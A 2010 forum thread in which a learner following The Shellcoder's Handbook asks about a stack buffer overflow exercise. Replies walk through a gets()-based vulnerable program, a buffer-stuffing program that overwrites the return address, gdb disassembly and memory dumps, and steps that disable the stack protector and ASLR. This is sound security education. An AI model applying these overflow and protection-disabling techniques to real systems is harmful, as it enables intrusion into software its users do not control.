|
Title: C Code Explanation Post by: IamHe on July 20, 2010, 06:47:39 PM Could someone please explain exactly what is going on in the following code... actually.. just that pointer line.. not exactly sure whats going on.
Code: main(){ int i=0; char stuffing[44]; for (i=0;i<=40;i=+4) *(long *) &stuffing[i] = 0x08048415; puts(stuffing); } Also, I'm going through the shell coders handbook and have a question.. So we are overflowing the following program: Code: main(){ int i=0; char stuffing[44]; for (i=0;i<=40;i=+4) *(long *) &stuffing[i] = 0x08048415; puts(stuffing); } I compiled it with the mpreferred-stack-boundary=2 option. Ran it in the same operating system and CPU type as the examples.. this applies to other examples from other sources as well.. so why is it that the amount of memory the cpu allocates on the stack always different. In the book when this program is run through gdb and return_input is disassembled.. it shows sub $0x20, %esp a.k.a 32.. but on my computer it shows 0x24 or 36... shouldn't the buffer be the same? also, this was the same case when I was following along with the BoF series at securitytube.net ... the funny thing though.. was that the code he provided worked for me.. even though gdb showed that we had different memory sizes allocated... ??? Title: Re: C Code Explanation Post by: Ketchup on July 21, 2010, 01:28:34 PM Code: *(long *) &stuffing[i] = 0x08048415; As I understand, you are setting the 4 byte buffer location to a specific address in memory (0x08048415). You are typecasting the address of the 4 byte buffer as a long pointer and dereferencing it, so that you can set its value. At least, that's the way I understand it. Which page of the Shellcoders Handbook are you on? You are probably running into some stack randomization and protection with the newer gcc versions. Try compiling with the -fno-stack-protector option set. Title: Re: C Code Explanation Post by: sil on July 21, 2010, 03:19:09 PM Which page of the Shellcoders Handbook are you on? You are probably running into some stack randomization and protection with the newer gcc versions. Try compiling with the -fno-stack-protector option set. He's on page 21 stack overflows... Let's plop it open on a newer system (sure life is unfair!) # gdb function GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x0804835c <main+0>: push %ebp 0x0804835d <main+1>: mov %esp,%ebp 0x0804835f <main+3>: sub $0x8,%esp 0x08048362 <main+6>: movl $0x2,0x4(%esp) 0x0804836a <main+14>: movl $0x1,(%esp) 0x08048371 <main+21>: call 0x8048354 <function> 0x08048376 <main+26>: movl $0x8048498,(%esp) 0x0804837d <main+33>: call 0x8048290 <printf@plt> 0x08048382 <main+38>: leave 0x08048383 <main+39>: ret End of assembler dump. (gdb) Notice the differences in compiling on two different machines? For function return_input we have: # gdb function GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048412 <main+0>: push %ebp 0x08048413 <main+1>: mov %esp,%ebp 0x08048415 <main+3>: call 0x80483f4 <return_input> 0x0804841a <main+8>: mov $0x0,%eax 0x0804841f <main+13>: pop %ebp 0x08048420 <main+14>: ret End of assembler dump. Not to omit the errors: strategos ~ # gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb void.c -o function /tmp/ccDrZEEj.o: In function `return_input': /root/void.c:7: warning: the `gets' function is dangerous and should not be used. Anyhow, see the difference in return address (0x80483f4). What is your return address when you compiled the original? ... Code: main (){ int i=0; char stuffing[44]; for (i=0;i<=40;i+=4) *(long *) &stuffing[i] = 0x80483f4; puts(stuffing); } Notice the address? stuffing ... 0x80483f4; What is your output from function when you disassembled it? Title: Re: C Code Explanation Post by: sil on July 21, 2010, 03:53:55 PM To be fair, I went back to the root of it all.... RHEL9
Code: [root@localhost root]# vi function.c [root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb function.c -o function [root@localhost root]# ./function Address pointer[root@localhost root]# gdb function GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048330 <main+0>: push %ebp 0x08048331 <main+1>: mov %esp,%ebp 0x08048333 <main+3>: push $0x2 0x08048335 <main+5>: push $0x1 0x08048337 <main+7>: call 0x8048328 <function> 0x0804833c <main+12>: add $0x8,%esp 0x0804833f <main+15>: push $0x80483fc 0x08048344 <main+20>: call 0x8048268 <printf> 0x08048349 <main+25>: add $0x4,%esp 0x0804834c <main+28>: leave 0x0804834d <main+29>: ret End of assembler dump. Magic number: 0x8048328 What likely confused you is your next disassemble call: In the book you will see disas main again when it should be disas function: (gdb) disas function Code: (gdb) disas function Dump of assembler code for function function: 0x08048328 <function+0>: push %ebp 0x08048329 <function+1>: mov %esp,%ebp 0x0804832b <function+3>: sub $0x20,%esp 0x0804832e <function+6>: leave 0x0804832f <function+7>: ret End of assembler dump. (gdb) [root@localhost root]# vi overflow.c [root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow [root@localhost root]# gdb overflow GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048381 <main+0>: push %ebp 0x08048382 <main+1>: mov %esp,%ebp 0x08048384 <main+3>: call 0x804835c <return_input> 0x08048389 <main+8>: mov $0x0,%eax 0x0804838e <main+13>: leave 0x0804838f <main+14>: ret End of assembler dump. (gdb) [root@localhost root]# (./stuffing|cat) | ./overflow A B`Æ Segmentation fault [root@localhost root]# cat stuffing.c main(){ int i=0; char stuffing[44]; for (i=0;i<=40;i+=4) *(long *) &stuffing[i] = 0x804835c; puts(stuffing); } What part is not working for you? Title: Re: C Code Explanation Post by: IamHe on July 22, 2010, 06:33:49 PM Thank you for the responses :D. I'll get back to you with more details on my memory prob.
Title: Re: C Code Explanation Post by: IamHe on August 05, 2010, 07:08:27 PM Alright.. here it is.
Overflowing following program: Code: void return_input (void) { char array[30]; gets (array); printf("%s\n", array); } main () { return_input(); return 0; } 2. Disas main to get memory location where return_input is called. Code: Dump of assembler code for function main: 0x08048412 <main+0>: push %ebp 0x08048413 <main+1>: mov %esp,%ebp [b]0x08048415[/b] <main+3>: call 0x80483f4 <return_input> 0x0804841a <main+8>: mov $0x0,%eax 0x0804841f <main+13>: pop %ebp 0x08048420 <main+14>: ret As you can see, it is called at 0x0804841 I'm confused why you used the actual location of <return_input> 3. I then check to see how much space is reserved for return_input by disas return_input Code: Dump of assembler code for function return_input: 0x080483f4 <return_input+0>: push %ebp 0x080483f5 <return_input+1>: mov %esp,%ebp 0x080483f7 <return_input+3>: sub [b]$0x24[/b],%esp 0x080483fa <return_input+6>: lea -0x1e(%ebp),%eax 0x080483fd <return_input+9>: mov %eax,(%esp) 0x08048400 <return_input+12>: call 0x8048308 <gets@plt> 0x08048405 <return_input+17>: lea -0x1e(%ebp),%eax 0x08048408 <return_input+20>: mov %eax,(%esp) 0x0804840b <return_input+23>: call 0x8048328 <puts@plt> 0x08048410 <return_input+28>: leave 0x08048411 <return_input+29>: ret As you can see.. it reserves 0x24 which in binary is 36. i don't understand why it reserves 36 but in the example in the book it only reserves 0x20 aka 32 .. its the same program.. with the same variable sizes..?? so then the example program used to overwrite the memory locations with the pointer to the <return_input> call is: Code: main(){ int i=0; char stuffing[44]; for (i=0;i<=40;i+=4) *(long *) &stuffing[i] = 0x80483f4; puts(stuffing); } Since I have 4 bytes extra.. i changed both values to: Code: main(){ int i=0; char stuffing[48]; for (i=0;i<=44;i+=4) *(long *) &stuffing[i] = 0x08048415; puts(stuffing); } Makes sense.. right? BTW.. why is stuffing 4 bytes larger.. is there something appended to the end like in strings? Anyways.. in the end when I feed the program into the overflow program.. it doesn't work. Below.. i execute the command (./address_to_char;cat) | ./overflow and then it waits for input, i type in "input" and it exits. Completely different then what the book shows.. so it isn't working.. or is it? is the ./address_to_char the first input the program expects .. and my input "input" the second input because it goes back to return_addr? Code: (./address_to_char;cat) | ./overflow input The book shows something like this: Code: (./address_to_char;cat) | ./overflow input <<<<<<<<<<<<<a<u____,input input input (page 22) Lastly.. the command (./address_to_char;cat) | ./overflow .. what exactly is going on there..i thought to input the output of a program to another you would use the ">" command. If anyone could help me out it would be awesome.. because I can't continue until I understand these basics :D. Thanks! Edit: I also used the following options: -fno-stack-protector echo 0 > /proc/sys/kernel/randomize_va_space - disable virtual address randomization gcc -mpreferred-stack-boundary=2 -ggdb Title: Re: C Code Explanation Post by: Equix3n- on August 06, 2010, 01:36:38 AM I don't have the book so I can't help you much.
I compiled your program with and without -mpreferred-stack-boundary=2 option. When th option is set my disassembly for main and return_input is. Quote (gdb) disas main Dump of assembler code for function main: 0x0804847b <main+0>: push %ebp 0x0804847c <main+1>: mov %esp,%ebp 0x0804847e <main+3>: call 0x8048454 <return_input> 0x08048483 <main+8>: mov $0x0,%eax 0x08048488 <main+13>: pop %ebp 0x08048489 <main+14>: ret End of assembler dump. Quote (gdb) disas return_input Dump of assembler code for function return_input: 0x08048454 <return_input+0>: push %ebp 0x08048455 <return_input+1>: mov %esp,%ebp 0x08048457 <return_input+3>: sub $0x28,%esp 0x0804845a <return_input+6>: lea -0x1e(%ebp),%eax 0x0804845d <return_input+9>: mov %eax,(%esp) 0x08048460 <return_input+12>: call 0x8048368 <gets@plt> 0x08048465 <return_input+17>: mov $0x8048560,%eax 0x0804846a <return_input+22>: lea -0x1e(%ebp),%edx 0x0804846d <return_input+25>: mov %edx,0x4(%esp) 0x08048471 <return_input+29>: mov %eax,(%esp) 0x08048474 <return_input+32>: call 0x8048388 <printf@plt> 0x08048479 <return_input+37>: leave 0x0804847a <return_input+38>: ret End of assembler dump. As you can see, for me the stack shifted 40 decimal bytes. Compiling without -mpreferred-stack-boundary=2 Quote (gdb) disas main Dump of assembler code for function main: 0x0804847b <main+0>: push %ebp 0x0804847c <main+1>: mov %esp,%ebp 0x0804847e <main+3>: and $0xfffffff0,%esp 0x08048481 <main+6>: call 0x8048454 <return_input> 0x08048486 <main+11>: mov $0x0,%eax 0x0804848b <main+16>: mov %ebp,%esp 0x0804848d <main+18>: pop %ebp 0x0804848e <main+19>: ret End of assembler dump. Quote (gdb) disas return_input Stack moved 56 bytes down.Dump of assembler code for function return_input: 0x08048454 <return_input+0>: push %ebp 0x08048455 <return_input+1>: mov %esp,%ebp 0x08048457 <return_input+3>: sub $0x38,%esp 0x0804845a <return_input+6>: lea -0x26(%ebp),%eax 0x0804845d <return_input+9>: mov %eax,(%esp) 0x08048460 <return_input+12>: call 0x8048368 <gets@plt> 0x08048465 <return_input+17>: mov $0x8048560,%eax 0x0804846a <return_input+22>: lea -0x26(%ebp),%edx 0x0804846d <return_input+25>: mov %edx,0x4(%esp) 0x08048471 <return_input+29>: mov %eax,(%esp) 0x08048474 <return_input+32>: call 0x8048388 <printf@plt> 0x08048479 <return_input+37>: leave 0x0804847a <return_input+38>: ret End of assembler dump. I then set one breakpoint before gets is called and one after, for both of the above cases. For the first case ( -mpreferred-s.....) Quote Breakpoint 2, 0x08048465 in return_input () For the first case, as you can see the first 10 decimal bytes weren't filled at all. Where 0xbffff0c8 is the stack pointer just before gets() was called. So the 40 bytes shift minus 10 bytes not filled space = 30 bytes buffer.(gdb) x/20x 0xbffff0c8 0xbffff0c8: 0xbffff0d2 0x080484c1 0x41410000 0x41414141 0xbffff0d8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0e8: 0x41414141 0x41414141 0x00414141 0x08048483 0xbffff0f8: 0x00000000 0xb7e81ace 0x00000001 0xbffff194 0xbffff108: 0xbffff19c 0xffffffff 0xb7ffeff4 0x080482a5 0x08048483 is the return address. My solution for you ends here. I'm still a beginner ] Now for the strange part and hopefully, if someone answers it, it might help you too (you still reading it? ;)) For the second case (without -mpreferr.....) Quote (gdb) x/20x 0xbffff0b0 0xbffff0b0: 0xbffff0c2 0x08049ff4 0xbffff0c8 0x08048344 0xbffff0c0: 0x41410000 0x41414141 0x41414141 0x41414141 0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0e0: 0x08048400 0xb7e993c5 0xbffff0f8 0x08048486 0xbffff0f0: 0x080484a0 0x00000000 0x00000000 0xb7e81ace (gdb) quit Clearly, the first 18 decimal bytes weren't filled. So 56 bytes shift in ESP minus 18 bytes unfilled space=38 bytes buffer. But this time I get a segmentation fault even when overflow overwrites the 'old' base pointer. I don't know why. This could be because of -mpreferred-stack-boundary not set. Quote Breakpoint 2, 0x08048465 in return_input () 0xbffff000 is the overwritten value of 'old' base pointer. bffff0 is the original value from the old base pointer and the last 00 is the null byte from the string (AA...).(gdb) x/20x 0xbffff0b0 0xbffff0b0: 0xbffff0c2 0x08049ff4 0xbffff0c8 0x08048344 0xbffff0c0: 0x41410000 0x41414141 0x41414141 0x41414141 0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0e0: 0x41414141 0x41414141 0xbffff000 0x08048486 0xbffff0f0: 0x080484a0 0x00000000 0x00000000 0xb7e81ace (gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. 0xbffff080 in ?? ()
Powered by SMF 1.1.18 |
SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com |